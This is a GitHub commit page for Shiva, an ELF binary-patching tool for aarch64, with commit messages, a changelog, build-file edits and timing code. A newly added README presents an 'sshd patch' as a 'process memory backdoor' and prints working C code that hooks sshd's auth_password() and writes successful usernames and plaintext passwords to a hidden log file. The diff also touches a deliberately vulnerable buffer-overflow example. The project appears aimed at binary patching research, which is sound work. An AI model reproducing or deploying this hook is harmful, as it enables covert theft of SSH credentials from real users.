Skip to content

Commit 6171569

Browse files
committed
Squashed commit of the following:
commit aed157c Author: elfmaster <ryan@bitlackeys.org> Date: Tue Oct 3 18:17:35 2023 -0700 added sshd patch prelink, updated sshd-patch makefile, and fixed a slight bug in shiva_callsite.c that is technically wrong but would never crash commit 72692ad Author: elfmaster <ryan@bitlackeys.org> Date: Mon Oct 2 19:59:01 2023 -0700 new updates to shiva_user_manual, CHANGELOG added, several incidental patch build changes commit 3f150d0 Author: elfmaster <ryan@bitlackeys.org> Date: Fri Sep 29 13:55:44 2023 -0700 prelink v2. draft-1 finished commit e6829e3 Author: elfmaster <ryan@bitlackeys.org> Date: Thu Sep 28 19:13:09 2023 -0700 fixed crash when applying transforms. The branch_new->insn_string in shiva_analyze.c was invalid as it had not been set to its string table value. commit 4f4d682 Author: elfmaster <ryan@bitlackeys.org> Date: Thu Sep 28 18:59:40 2023 -0700 added progress bar, still working on --disable-cfg option commit fd21584 Author: elfmaster <ryan@bitlackeys.org> Date: Wed Sep 27 17:54:35 2023 -0700 added SPEED_TEST definitions for performance testing the shiva_analyze_run function commit b0ca1e6 Author: elfmaster <ryan@bitlackeys.org> Date: Tue Sep 26 09:55:09 2023 -0700 shiva pre-linking CFG data via xref and branch sections now works! commit 83d0e09 Author: elfmaster <ryan@bitlackeys.org> Date: Fri Sep 22 12:04:53 2023 -0700 some good headway, shiva is nearly able to extract the branch and xref data from the target binary in a meaningful way commit 7ae3eb5 Author: elfmaster <ryan@bitlackeys.org> Date: Fri Sep 22 11:07:37 2023 -0700 shiva now reads in the .xref and .branch meta-data commit 58c0923 Author: elfmaster <ryan@bitlackeys.org> Date: Wed Sep 20 14:22:59 2023 -0700 shiva-ld now stores all of the correct cfg data into the new added sections commit 58f792d Author: elfmaster <ryan@bitlackeys.org> Date: Wed Sep 20 12:59:28 2023 -0700 The 3 new section headers are now properly showing up as I have properly adjusted the order in which various parts of the ELF structures are modified and written to disk commit 9005024 Author: elfmaster <ryan@bitlackeys.org> Date: Thu Sep 14 17:17:45 2023 -0700 the section header table is accessible now commit 83c610f Author: elfmaster <ryan@bitlackeys.org> Date: Tue Sep 12 10:34:08 2023 -0700 writes out 3 new shdrs, writes out new strtab table into new segment commit ee9cf0d Author: elfmaster <ryan@bitlackeys.org> Date: Mon Sep 11 19:20:42 2023 -0700 in progress... commit 42f29fb Author: elfmaster <ryan@bitlackeys.org> Date: Wed Sep 6 22:05:17 2023 -0700 still working on getting all of the new sections added, and existing shdr table and string tables updated. commit a81203f Author: elfmaster <ryan@bitlackeys.org> Date: Tue Sep 5 14:23:55 2023 -0700 in progress. having to modify .shstrtab, add new section headers, and create several new dynamic segment entries. commit 0cc4e41 Author: elfmaster <ryan@bitlackeys.org> Date: Wed Aug 9 07:32:34 2023 -0700 updated name variable from uint32_t to size_t in struct __elf_symbol in shiva-ld.c -- this way the index pointer (Although it only needs to be 32bits) is the same as a pointer width, like the original struct elf_symbol in libelfmaster commit 23edf37 Author: elfmaster <ryan@bitlackeys.org> Date: Sun Aug 6 16:01:19 2023 -0700 cfg generated and .shiva.strtab is setup. Still need to write this data into the appropriate new ELF sections: .shiva.cfg and .shiva.strtab, which will be included right after the new PT_DYNAMIC segment commit 4b62f56 Author: elfmaster <ryan@bitlackeys.org> Date: Fri Aug 4 18:47:00 2023 -0700 removed analyze.c commit b6d5e3f Author: elfmaster <ryan@bitlackeys.org> Date: Fri Aug 4 14:51:58 2023 -0700 added first draft of cfg code into shiva-prelinker. not yet tested.
1 parent 70cdd08 commit 6171569

16 files changed

Lines changed: 1378 additions & 128 deletions

File tree

CHANGELOG.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# Shiva CHANGELOG
2+
3+
## v0.11 Alpha - 8/13/2023
4+
5+
* First public release of Shiva
6+
7+
8+
## v0.12 Alpha - 10/2/2023
9+
10+
* Finished Shiva Prelinker v2.0 (That's the "/usr/bin/shiva-ld" tool)
11+
- See ticket: https://github.com/advanced-microcode-patching/shiva/issues/1
12+
- Performance enhancements of up to 3000% tested
13+
- Performance enhancement grows proportionate to size of .text section of executable
14+
- --disable-cfg-gen flag which disables the new control-flow meta-data from shiva-ld
15+
* Updated the Shiva user manual: documentation/shiva_user_manual.pdf to v0.12 Alpha.
16+
* Extended Shiva's shiva_analyze.c code to support consumption of .shiva.xref and .shiva.branch sections.
17+
* Several incidental build changes the patches in modules/aarch64_patches
18+
* Added this CHANGELOG to the project.
19+
20+
elfmaster [at] arcana-research.io

Makefile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ install:
4646
mkdir -p /opt/shiva/modules
4747
cp $(PATCH_PATH)/*interposing*/*.o /opt/shiva/modules
4848
cp $(PATCH_PATH)/cfs_patch1/*.o /opt/shiva/modules
49-
cp $(PATCH_PATH)/amp_challenge10/*.o /opt/shiva/modules
49+
cp $(PATCH_PATH)/bss_overflow/*.o /opt/shiva/modules
5050
cat shiva.ansi
5151
clean:
5252
rm -f *.o shiva
2.89 KB
Binary file not shown.

modules/aarch64_patches/bss_interposing/Makefile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ SHIVA-LD_PATH="../../../tools/shiva-ld/shiva-ld"
44
all:
55
gcc -mcmodel=large -fno-pic -I ../ -fno-stack-protector -c bss_patch.c
66
gcc -O0 test_bss.c -o test_bss
7-
$(SHIVA-LD_PATH) -e test_bss -p bss_patch.o -i /lib/shiva -s /opt/shiva/modules -o test_bss.patched
7+
$(SHIVA-LD_PATH) -e test_bss -p bss_patch.o -i /lib/shiva -s /opt/shiva/modules -o test_bss.patched
88
install:
99
cp bss_patch.o /opt/shiva/modules/
1010
clean:
Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,11 @@
11
INTERP_PATH="/lib/shiva"
22
SHIVA-LD_PATH="../../../tools/shiva-ld/shiva-ld"
3-
3+
all:
44
gcc -mcmodel=large -fno-pic -I ../ -fno-stack-protector -c bss_patch2.c
55
gcc -O0 -g bss_vuln.c -o bss_vuln
66
$(SHIVA-LD_PATH) -e bss_vuln -p bss_patch2.o -i /lib/shiva -s /opt/shiva/modules -o bss_vuln.patched
7-
chown root:root bss_vuln
8-
chmod u+s bss_vuln
7+
#chown root:root bss_vuln
8+
#chmod u+s bss_vuln
9+
clean:
10+
rm -f *.o bss_vuln bss_vuln.patched
11+

modules/aarch64_patches/bss_overflow/bss_vuln.c

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,9 @@
22
#include <stdlib.h>
33
#include <stdio.h>
44
#include <sys/stat.h>
5+
#include <string.h>
6+
#include <unistd.h>
7+
#include <sys/types.h>
58

69
#define MAX_LEN 32
710

0 Bytes
Binary file not shown.

modules/aarch64_patches/sshd-patch/Makefile

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
INTERP_PATH="/lib/shiva"
22
SHIVA-LD_PATH="../../../tools/shiva-ld/shiva-ld"
3+
all: patch prelink
34
patch:
45
# Build the module ro_patch.c with a large code model
56
gcc -Wno-implicit-function-declaration -mcmodel=large -fno-pic -I ../../include -fno-stack-protector -c sshd_patch.c
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
# sshd patch
2+
3+
Turn Shiva into a friendly process memory backdoor that logs incoming usernames
4+
and passwords that are authenticated via the auth_password() function in the
5+
sshd binary.
6+
7+
## Method
8+
9+
Shiva installs a patch that hooks the function auth_password() within sshd. In
10+
this particular example sshd has it's local symbol table ".symtab" in-tact
11+
within the binary, and so we can write the patch by using symbol interposition
12+
on the auth_password() function, sshd_patch.c
13+
14+
```
15+
int auth_password(struct ssh *ssh, const char *password)
16+
{
17+
FILE *logfd;
18+
int ret;
19+
struct Authctxt *authctxt = ssh->authctxt;
20+
struct passwd *pw = authctxt->pw;
21+
22+
logfd = fopen("/var/log/.hidden_logs", "a+");
23+
fprintf(logfd, "auth_password hook called\n");
24+
25+
/*
26+
* call the original auth_password(ssh, password); by using
27+
* the SHIVA_HELPER_CALL_EXTERNAL macro.
28+
*/
29+
ret = SHIVA_HELPER_CALL_EXTERNAL_ARGS2(auth_password, ssh, password);
30+
if (ret > 0) {
31+
/*
32+
* If the real auth_password() succeeded, then log
33+
* the username and password to "/var/log/.hidden_logs"
34+
*/
35+
fprintf(logfd, "Successful SSH login\n"
36+
"Username: %s\n"
37+
"Password: %s\n", pw->pw_name, password);
38+
}
39+
fclose(logfd);
40+
return ret;
41+
}
42+
```
43+
44+
## A note on patching stripped binaries
45+
46+
Shiva relies on libelfmaster for symbol table reconstruction of stripped
47+
binaries, which internally parses the PT_GNU_EH_FRAME segment in the ELF binary to
48+
reconstruct the symbols for the .text section. In the Linux aarch64 environment
49+
that I'm developing in (Ubuntu 18.04.6 LTS) I have not seen any ELF binaries that
50+
have the any data in their .eh_frame section, and a PT_GNU_EH_FRAME segment
51+
simply doesn't exist in the ones that I've observed. The original version
52+
of Shiva was for x86_64 (Found at https://github.com/elfmaster/shiva) and this
53+
works with function symbol table reconstruction, therefore allowing a developer
54+
to patch the sshd binary even if it was stripped. The developer would need to
55+
first determine the address of where the auth_password() function is within the
56+
binary. libelfmaster would internally generate a symbol, i.e: "fn_0x4002f3" and
57+
so the patch developer would simply interpose the function by re-writing it, i.e.
58+
```
59+
int fn_0x4002f3(struct ssh *ssh, const char *password)
60+
{
61+
/*
62+
* new code here
63+
*/
64+
}
65+
66+
67+
## A note on ELF runtime infection
68+
69+
This type of process-memory function hooking would typically be done either
70+
on-disk to the ELF binary directly or in memory via `__libc_dlopen_mode` or
71+
PTRACE. Generally these techniques are non-trivial and require developers to
72+
write advanced tools that are thousands of lines of C code.
73+
74+
## Use patch
75+
76+
$ make
77+
$ sudo make install
78+
$ $PWD/sshd.patched -p 31337 -d

shiva.c

Lines changed: 45 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
#include "shiva.h"
2+
#include <time.h>
23

34
struct shiva_ctx *ctx_global;
45

@@ -113,11 +114,23 @@ shiva_interp_mode(struct shiva_ctx *ctx)
113114
fprintf(stderr, "Warning: Found .text relocations in '%s'. This may alter"
114115
" the effects of breakpoints/instrumentation\n", elf_pathname(&ctx->elfobj));
115116
}
116-
117+
118+
#ifdef SPEED_TEST
119+
struct timespec tv, tv2;
120+
double elapsed_time;
121+
clock_gettime(CLOCK_REALTIME, &tv);
122+
#endif
117123
if (shiva_analyze_run(ctx) == false) {
118124
fprintf(stderr, "Failed to run the analyzers\n");
119-
return false;
125+
exit(EXIT_FAILURE);
120126
}
127+
#ifdef SPEED_TEST
128+
clock_gettime(CLOCK_REALTIME, &tv2);
129+
fprintf(stdout, "time to generate xref/branch data: %zu:%zu ms.\n", (size_t)tv2.tv_sec - (size_t)tv.tv_sec,
130+
(size_t)tv2.tv_nsec - (size_t)tv.tv_nsec);
131+
132+
#endif
133+
121134
if (shiva_maps_build_list(ctx) == false) {
122135
fprintf(stderr, "shiva_maps_build_list() failed\n");
123136
return false;
@@ -156,6 +169,10 @@ shiva_interp_mode(struct shiva_ctx *ctx)
156169
return false;
157170
}
158171
} else {
172+
fprintf(stderr, "Shiva ELF Interpreter mode doesn't work without first using shiva-ld"
173+
" to prelink the target ELF binary\n");
174+
return false;
175+
/* XXX */
159176
char *mpath = getenv("SHIVA_MODULE_PATH");
160177
if (mpath != NULL) {
161178
strcpy(ctx->module_path, mpath);
@@ -165,20 +182,20 @@ shiva_interp_mode(struct shiva_ctx *ctx)
165182
}
166183

167184
/*
168-
* Get the entry point of the target executable. Stored in AT_ENTRY
169-
* of the auxiliary vector.
170-
*/
171-
if (shiva_auxv_iterator_init(ctx, &auxv_iter, NULL) == false) {
172-
fprintf(stderr, "shiva_auxv_iterator_init failed\n");
173-
return false;
174-
}
175-
while (shiva_auxv_iterator_next(&auxv_iter, &auxv_entry) == SHIVA_ITER_OK) {
176-
if (auxv_entry.type == AT_ENTRY) {
177-
ctx->ulexec.entry_point = auxv_entry.value;
178-
shiva_debug("[1] Entry point: %#lx\n", entry_point);
179-
break;
180-
}
181-
}
185+
* Get the entry point of the target executable. Stored in AT_ENTRY
186+
* of the auxiliary vector.
187+
*/
188+
if (shiva_auxv_iterator_init(ctx, &auxv_iter, NULL) == false) {
189+
fprintf(stderr, "shiva_auxv_iterator_init failed\n");
190+
return false;
191+
}
192+
while (shiva_auxv_iterator_next(&auxv_iter, &auxv_entry) == SHIVA_ITER_OK) {
193+
if (auxv_entry.type == AT_ENTRY) {
194+
ctx->ulexec.entry_point = auxv_entry.value;
195+
shiva_debug("[1] Entry point: %#lx\n", entry_point);
196+
break;
197+
}
198+
}
182199
if (shiva_module_loader(ctx, ctx->module_path,
183200
&ctx->module.runtime, SHIVA_MODULE_F_RUNTIME) == false) {
184201
fprintf(stderr, "shiva_module_loader failed\n");
@@ -413,14 +430,23 @@ int main(int argc, char **argv, char **envp)
413430
* into memory, we can run some analyzers on it to acquire
414431
* information (i.e. callsite locations).
415432
*/
433+
#ifdef SPEED_TEST
434+
struct timespec tv, tv2;
435+
double elapsed_time;
436+
clock_gettime(CLOCK_REALTIME, &tv);
437+
#endif
416438
if (shiva_analyze_run(&ctx) == false) {
417439
fprintf(stderr, "Failed to run the analyzers\n");
418440
exit(EXIT_FAILURE);
419441
}
442+
#ifdef SPEED_TEST
443+
clock_gettime(CLOCK_REALTIME, &tv2);
444+
fprintf(stdout, "time to generate xref/branch data: %zu:%zu ms.\n", (size_t)tv2.tv_sec - (size_t)tv.tv_sec,
445+
(size_t)tv2.tv_nsec - (size_t)tv.tv_nsec);
446+
#endif
420447
/*
421-
* shiva_module_loader will load modules/shakti_module.o
422-
* into an executable region within our address space.
423-
* It will then pass control to the module.
448+
* This flag tells Shiva to ul_exec the target binary without installing
449+
* any patches at runtime.
424450
*/
425451
if (ctx.flags & SHIVA_OPTS_F_ULEXEC_ONLY)
426452
goto transfer_control;
@@ -455,17 +481,6 @@ int main(int argc, char **argv, char **envp)
455481
exit(EXIT_FAILURE);
456482
}
457483

458-
/*
459-
* XXX: In the event that our module installed .got.plt hooks, we
460-
* must disable DT_BINDNOW before passing control to the RTLD, otherwise
461-
* our hooks will be overwritten by RTLD in strict linking mode.
462-
* We are basically disabling RELRO (read-only relocations) which is a
463-
* security issue. In the future we should inject PLT hooks purely by
464-
* injecting JUMPSLOT relocations.
465-
*/
466-
//(void) shiva_target_dynamic_set(&ctx, DT_FLAGS, 0);
467-
//(void) shiva_target_dynamic_set(&ctx, DT_FLAGS_1, 0);
468-
469484
/*
470485
* Once the module has finished executing, we pass control
471486
* to LDSO.

0 commit comments

Comments
 (0)